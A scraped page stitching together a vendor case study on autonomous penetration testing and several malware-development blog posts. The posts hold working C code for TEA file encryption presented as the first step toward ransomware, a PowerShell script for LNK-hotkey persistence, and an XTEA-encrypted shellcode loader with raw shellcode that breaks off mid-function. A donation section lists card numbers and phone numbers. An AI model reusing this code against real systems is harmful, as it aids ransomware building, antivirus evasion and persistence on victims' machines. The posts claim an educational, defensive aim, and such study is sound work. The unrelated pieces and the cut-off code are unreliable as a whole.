Calvin observed that there were frequent gaps in the reporting, which was often too technical for a business audience, and the cost of the red team exercise was proportionate to the amount of time the pentester spent focusing on a particular device or devices in the network. As their network is quite large, if they were to evaluate everything in their environment, it simply wouldn’t be economically viable.

Wanted visibility across the entire environment

F12.net: Traditional Pentest Limitations

This manual way of validating the environment did uncover issues for F12 to address, but assessment results weren’t always being delivered in a timely fashion and therefore, it was difficult for Calvin and his team to quickly identify issues such as configuration drift in their environment. The team needed to know when a device hadn’t been set up to the correct standards they have, and they wanted to know if their managed detection and response software was working correctly.

These challenges made F12 realize that there must be a better way. Calvin wanted to regularly assess the entire environment rather than pick and choose the β€˜golden endpoint’. He wanted to have complete visibility to understand where the risks were so he could measure and determine any gaps.

At the same time, F12 was referring professional services organizations to undertake pentests for its clients. Calvin was now questioning the efficacy of these projects himself and realized he couldn’t continue to recommend this somewhat ineffective approach.

Discovered a critical vulnerability others missed

Through a survey Calvin participated in, he came across Horizon3.ai for the first time. So, he looked them up and immediately thought, β€œautonomous penetration testing seems like an interesting concept,” and wanted to learn more about NodeZero. He reached out to Horizon3.ai and requested a demo and proof of value.

Calvin continues: β€œWe had just completed our own penetration test and I was super underwhelmed. Our scoring was low and there was nothing critical to report. Then we kicked off NodeZero, did a scan of our environment, and within a few hours we found a system that was not fully configured. As a result, NodeZero was able to compromise it, then move laterally through the environment, and ended up compromising our whole domain.”

Calvin shared that he was quite surprised that NodeZero was able gain domain admin, but sure enough, when they went through and reviewed the results with their internal team, the results were confirmed.

Zero wait time – immediate rescans

F12 quickly fixed the issue, since it was clear what the vulnerability was and how it had happened. NodeZero helped to make short work of knowing where to go to fix the problem. Immediately afterward, F12 was able to rescan and validate that the fix had worked without having to wait for a penetration tester to confirm the issue was resolved. Calvin adds:

β€œWe then rescanned the entire network and we found more issues; a new machine on the network that wasn’t quite ready to go into production and had a vulnerability. We immediately picked this up. Our environment is changing all the time, as we bring new systems online, so to get this level of visibility is fantastic.”

As a result of the experience, F12 recognized that NodeZero was a red team force multiplier, delivering a better way to execute pentests, not only for their own infrastructure, but for their clients as well. Using NodeZero, F12 could upskill its talent, build out their pentesting team, and using data from NodeZero scans, they could surely make their own customers more secure.

Developed a new service offering

F12 made the decision to use NodeZero and offer penetration testing-as-a-service (PTaaS) to their customers. Calvin adds: β€œWhen you have a finite amount of time, you focus on the obvious areas that could be compromised, but malicious actors don’t have time limits; they can move slowly and methodically through your environment. This is what we wanted to be able to do for ourselves and our clients, rather than restrict this exercise based upon time and available budget. You simply cannot outpace what NodeZero does.”

With the help of NodeZero, F12 launched a new service to their customers late last year and is now seeing a wave of requests for pentesting. Their clients often need penetration tests to meet a compliance requirement, for cybersecurity liability insurance purposes, or because clients desire to have an assessment performed. The benefit of using NodeZero is that it is not β€˜one and done’ effort that just focuses on a part of the network. Instead, NodeZero can be used to evaluate every single asset across a network at a moment’s notice. F12 now has far more visibility than it ever had before, enabling their team to quickly remediate the most exploitable vulnerabilities for both them and their customers.

F12.net: Weekly Pentests

Now, Calvin is a strong advocate for continuous penetration testing delivered as a service rather than undertaking it as a point-in-time exercise. As a result, F12 has made red team exercises part of its own regular routine with weekly pentests, and they can now respond at a much faster pace if issues are discovered. Calvin adds: β€œI would rather have NodeZero breaching us than some nefarious actor. We are doing more than most to make sure we are keeping our ourselves and clients secure, helping bolster everyone’s defenses as a result.”

Democratizing red team exercises

Calvin acknowledges the market is beginning to realize that continuous assessments using an autonomous penetration testing platform makes a great deal of sense. He says that most clients know they have security issues, but they don’t have the time, prioritization, and/or budget to regularly undertake red team exercises adding: β€œEven if the market moves to penetration testing-as-a-service, companies must have a solid foundation in place, because if you don’t have basic cyber hygiene, a penetration test won’t help. Organizations must have a well-disciplined methodology to manage vulnerabilities.”

He recognizes that many businesses are on a journey and his advice is to undertake a gap analysis first to determine where best to spend money. That said, he believes penetration testing will become a pre-requisite in the future. Even today, cyber assurance underwriters require certain capabilities to measure risk, as do many third-party vendor contracts. Likewise, legislation such as DORA, NIST 2, and Bill C 26 in Canada, advocate that organizations have the appropriate critical cyber systems in place and regularly assess their cyber and operational resiliency.

β€œThere is a 95% improvement in the cost to value when using NodeZero to assess each device vs. having a human perform something similar. Of course, that would compound exponentially with more IPs in the environment.”

– Calvin Engen, CTO at F12.net

The outcome: Far more visibility than ever before

Calvin goes on to describe what he thinks about the benefits that NodeZero brings, and he agrees that pentesting is not a one-and-done exercise. β€œCompared to traditional pentesting, organizations do a vulnerability scan of their network, they have a report, and maybe one or two assets in that environment were thoroughly assessed. In comparison, NodeZero can do all of that in a matter of days, or even hours, across every single asset in an organization. The value that you get by doing this activity, and by leveraging NodeZero, is achieving far more visibility into your environment than you ever had before. And through that visibility, you can really break down the items that are most exploitable and solve for those. I also would say that it’s far more economical to do it with NodeZero than it is to use only people.”

What the future holds

Calvin concludes: β€œSome organizations are complacent and don’t believe they have anything worth stealing, but attacks are about disrupting the business, so you are in enough pain that you pay up. If you rely on your IT systems to conduct business, then the reality is that you must protect your infrastructure. Organizations must layer in defense-in-depth and understand where they are the weakest. In the future, pentesting will become democratized and more economical as autonomous pentesting becomes ubiquitous within every organization. I am not sure how long that will take, but what I can say is this is the way to do it.”

Download PDF

The post Revolutionizing Cybersecurity: F12.net’s Journey with Autonomous Penetration Testing appeared first on Horizon3.ai.

Malware and cryptography 23: encrypt/decrypt file via TEA. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.

With today’s post I want to start a series of my new research, I will be developing different versions of the ransomware malware with different algorithms from cryptography.

I will do this step by step, so perhaps I will post some things, tricks and techniques in a separate articles.

practical example

I’ll go straight to a practical example, the logic of which is quite simple, encrypting one file and decrypting it.

Encryption function:

void encryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (TEA_BLOCK_SIZE - (fileSize.LowPart % TEA_BLOCK_SIZE)) % TEA_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += TEA_BLOCK_SIZE) {
    tea_encrypt(paddedData + i, key);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("TEA encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

and decryption function:

void decryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // decrypt the file data using TEA encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += TEA_BLOCK_SIZE) {
    tea_decrypt(fileData + i, key);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("TEA decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

This code encrypts the input file using TEA with the specified key, decrypt with TEA.

Another important part of the code adds padding to the last block if the file size is not a multiple of the TEA block size:

void addPadding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = TEA_BLOCK_SIZE - (fs.QuadPart % TEA_BLOCK_SIZE);
  if (paddingS != TEA_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

So, I tested this for one file test.txt

int main() {
  const char* inputFile = "C:\\Users\\user\\Desktop\\books\\test.txt";
  const char* outputFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea.decrypted";
  const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encryptFile(inputFile, outputFile, teaKey);
  decryptFile(outputFile, decryptedFile, teaKey);
  return 0;
}

Ok, full source code is hack.c:

/*
 * hack.c
 * encrypt/decrypt file with TEA
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/12/25/malware-cryptography-23.html
*/
#include <windows.h>
#include <stdio.h>

#define KEY_SIZE 16
#define ROUNDS 32
#define TEA_BLOCK_SIZE 8

void tea_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int i;
  unsigned int delta = 0x9e3779b9;
  unsigned int sum = 0;
  unsigned int v0 = *(unsigned int *)data;
  unsigned int v1 = *(unsigned int *)(data + 4);

  for (i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
  }

  *(unsigned int *)data = v0;
  *(unsigned int *)(data + 4) = v1;
}

void tea_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int i;
  unsigned int delta = 0x9e3779b9;
  unsigned int sum = delta * ROUNDS;
  unsigned int v0 = *(unsigned int *)data;
  unsigned int v1 = *(unsigned int *)(data + 4);

  for (i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
  }

  *(unsigned int *)data = v0;
  *(unsigned int *)(data + 4) = v1;
}

void addPadding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = TEA_BLOCK_SIZE - (fs.QuadPart % TEA_BLOCK_SIZE);
  if (paddingS != TEA_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void removePadding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("Invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("Error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);
  }
}

void encryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (TEA_BLOCK_SIZE - (fileSize.LowPart % TEA_BLOCK_SIZE)) % TEA_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += TEA_BLOCK_SIZE) {
    tea_encrypt(paddedData + i, key);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("TEA encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decryptFile(const char* inputFile, const char* outputFile, const char* teaKey) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char key[KEY_SIZE];
  memcpy(key, teaKey, KEY_SIZE);

  // decrypt the file data using TEA encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += TEA_BLOCK_SIZE) {
    tea_decrypt(fileData + i, key);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= TEA_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("TEA decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("Invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "C:\\Users\\user\\Desktop\\books\\test.txt";
  const char* outputFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea";
  const char* decryptedFile = "C:\\Users\\user\\Desktop\\books\\test.txt.tea.decrypted";
  const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encryptFile(inputFile, outputFile, teaKey);
  decryptFile(outputFile, decryptedFile, teaKey);
  return 0;
}

demo

Let’s move on to demonstrating how this example works.

First of all, my test.txt file:

cryptography

Then, compile our malware:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Run it in the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

Let’s check two files test.txt and test.txt.tea.decrypted:

cryptography

As we can see, everything is wokred perfectly! =^..^=

In the following parts I will implement the logic for encrypting folders and files and then the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

TEA
Malware AV/VM evasion part 12
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware in the wild book.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

book

Alhamdulillah, I finished writing this book today. It was quite difficult. In sha Allah everything will be fine. O Allah, Lord of the Worlds, give strength to all children who are fighting for their lives.

Why is the book called that? MALWILD - means Malware in the Wild.

I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.

book

book

This book is dedicated to my wife, Laura, and my children, Yerzhan and Munira. Also, thanks to everyone who is helping me through these difficult times. The proceeds from the sale of this book will be used to treat my friends:

Antipin

Antipin Eleazar, Scaphocephaly (Sagittal Craniosynostosis).

Djami

Khasenova Djamilya, Hepatoblastoma (liver cancer).

The book is divided into three logical chapters:

  • Malware dev tricks from source code leaks
  • Malware analysis examples
  • Helper scripts (most in python) for malware analysis

All material in the book is based on my posts from WebSec blog, HVCK magazine, MSSP Lab blog and my own articles.

If you have questions, you can ask them on my email.

My Github repo: https://github.com/cocomelonc

This book costs $32 but you can pay as much as you want. If you are unable to pay for it, I will send it to you for free.

If you cannot pay via Paypal:

btc

BTC address: 1MMDN38mheQn9h2Xa2H6hqMSfFYKW4nQUE

eth

ETH address: 0xf6ed40f61b603a4b2ac7c077034053df4f718f37

xmr

XMR address:
87E2aD7P7FGiQrUdznXPqtH7enHywV8qm5kMqKziKLz8ECWZENE8ZV5JWRTJhA3RVS5rxSogRsd7z7yX2DMn29dR3Vfnjbj

Binance email: [email protected]

VISA/Mastercard:

4400 4301 3484 3363 AIMAN ANTIPINA (cardholder)
4400 4302 1897 8630 ZHANAR KHASSENOVA (cardholder)

For Kaspi:

+7 700 270 7807 (Айман А.)
+7 701 242 6662 (Алия Ш.)

Charity fund +1 from Kazakhstan (Kaspi QR):

plus1

If you are unable to pay for it, I will send it to you for free.

MALWILD book

All examples are practical cases for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development: persistence - part 23. LNK files. Simple Powershell example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the more interesting malware persistence tricks: via Windows LNK files.

LNK

According to Microsoft, an LNK file serves as a shortcut or β€œlink” in Windows, providing a reference to an original file, folder, or application. For regular users, these files serve a meaningful purpose, facilitating file organization and workspace decluttering. However, from an attacker’s perspective, LNK files take on a different significance. They have been exploited in various documented attacks by APT groups and, to my knowledge, remain a viable option for activities such as phishing, establishing persistence, executing payloads.

Do you know that Windows shortcuts can be registered using a shortcut key in terms of execution? This is the main trick for malware persistence in this case.

practical example

Let’s say we have a β€œmalware”. As usually, meow-meow messagebox application hack.c:

/*
hack.c
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/12/10/malware-pers-23.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

And then, just create powershell script for create LNK file with the following properties:

# Define the path for the shortcut on the desktop
$shortcutPath = "$([Environment]::GetFolderPath('Desktop'))\Meow.lnk"

# Create a WScript Shell object
$wshell = New-Object -ComObject Wscript.Shell

# Create a shortcut object
$shortcut = $wshell.CreateShortcut($shortcutPath)

# Set the icon location for the shortcut
$shortcut.IconLocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"

# Set the target path and arguments for the shortcut
$shortcut.TargetPath = "Z:\2023-12-10-malware-pers-23\hack.exe"
$shortcut.Arguments = ""

# Set the working directory for the shortcut
$shortcut.WorkingDirectory = "Z:\2023-12-10-malware-pers-23"

# Set a hotkey for the shortcut (e.g., CTRL+W)
$shortcut.HotKey = "CTRL+W"

# Set a description for the shortcut
$shortcut.Description = "Not malicious, meow-meow malware"

# Set the window style for the shortcut (7 = Minimized window)
$shortcut.WindowStyle = 7

# Save the shortcut
$shortcut.Save()

# Optionally make the link invisible by adding 'Hidden' attribute
# (Get-Item $shortcutPath).Attributes += 'Hidden'

As you can see, the logic is pretty simple. We simply create a shortcut on the desktop that has a hotkey specified: CTRL+W. Of course, in real attack scenarios it could be something like CTRL+C, CTRL+V or CTRL+P, etc.

For example, if you create a shortcut for Paint, it does not have any hotkey specified:

pers

Explorer restricts shortcut support to commands beginning with CTRL+ALT. Additional sequences must be set programmatically through COM.

demo

Let’s go to see everything in action. First of all, compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

For checking correctness, run it:

.\hack.exe

pers

The just run our powershell script for persistence:

Get-Content pers.ps1 | PowerShell.exe -noprofile -

pers

As a result, Meow LNK file is created successfully.

If we look at its properties, everything is ok:

pers

Finally just run it and try to trigger CTRL+W hotkey:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and software like Emotet in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Many thanks to my friend and colleague Anton Kuznetsov, he reminded me of this technique when he presented one of his most amazing talks.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1204.001
APT28
APT29
Kimsuky
Emotet
MSDN: Shell Link (.LNK) Binary File Format
Malware persistence: part 1
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 22: encrypt/decrypt payload via XTEA. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.

Today I decided to look at an improved algorithm - XTEA.

XTEA

XTEA (eXtended TEA) is a symmetric block cipher designed to enhance the security of TEA (Tiny Encryption Algorithm). Developed by David Wheeler and Roger Needham, XTEA operates on 64-bit blocks with a 128-bit key and typically employs 64 rounds for encryption and decryption. The algorithm incorporates a Feistel network structure, utilizing a complex key schedule and a series of bitwise operations, shifts, and additions to iteratively transform plaintext into ciphertext.

XTEA addresses certain vulnerabilities identified in TEA, providing improved resistance against cryptanalysis while maintaining simplicity and efficiency. Notably, XTEA is free from patent restrictions, contributing to its widespread use in various applications where lightweight encryption is essential, such as embedded systems and resource-constrained environments.

pracical example

As usually, let’s implement this cipher in practice.

For simplicity I decided to implement 32-rounds:

#define KEY_SIZE 16
#define ROUNDS 32

The code is identical to the implementation of the TEA algorithm, just replace encryption and decryption logic:

void xtea_encrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0, delta = 0x9e3779b9;

  for (int i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

void xtea_decrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0xC6EF3720, delta = 0x9e3779b9; // sum for decryption

  for (int i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

As you can see, it’s implemented with the same delta = 0x9e3779b9.

For simplicity, I used running shellcode via EnumDesktopsA logic.

Finally, full source code is looks like this (hack.c):

/*
 * hack.c
 * with decrypt payload via XTEA
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/11/23/malware-cryptography-22.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define KEY_SIZE 16
#define ROUNDS 32

void xtea_encrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0, delta = 0x9e3779b9;

  for (int i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

void xtea_decrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0xC6EF3720, delta = 0x9e3779b9; // sum for decryption

  for (int i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

int main() {
  unsigned int key[4] = {0x6d6f776d, 0x656f776d, 0x6f776d65, 0x776d656f};
  unsigned char my_payload[] =
    "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
    "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
    "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
    "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
    "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
    "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
    "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
    "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
    "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
    "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
    "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
    "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
    "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
    "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
    "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
    "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
    "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
    "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + 8 - (len % 8)) & 0xFFF8;

  unsigned int *padded = (unsigned int *)malloc(pad_len);
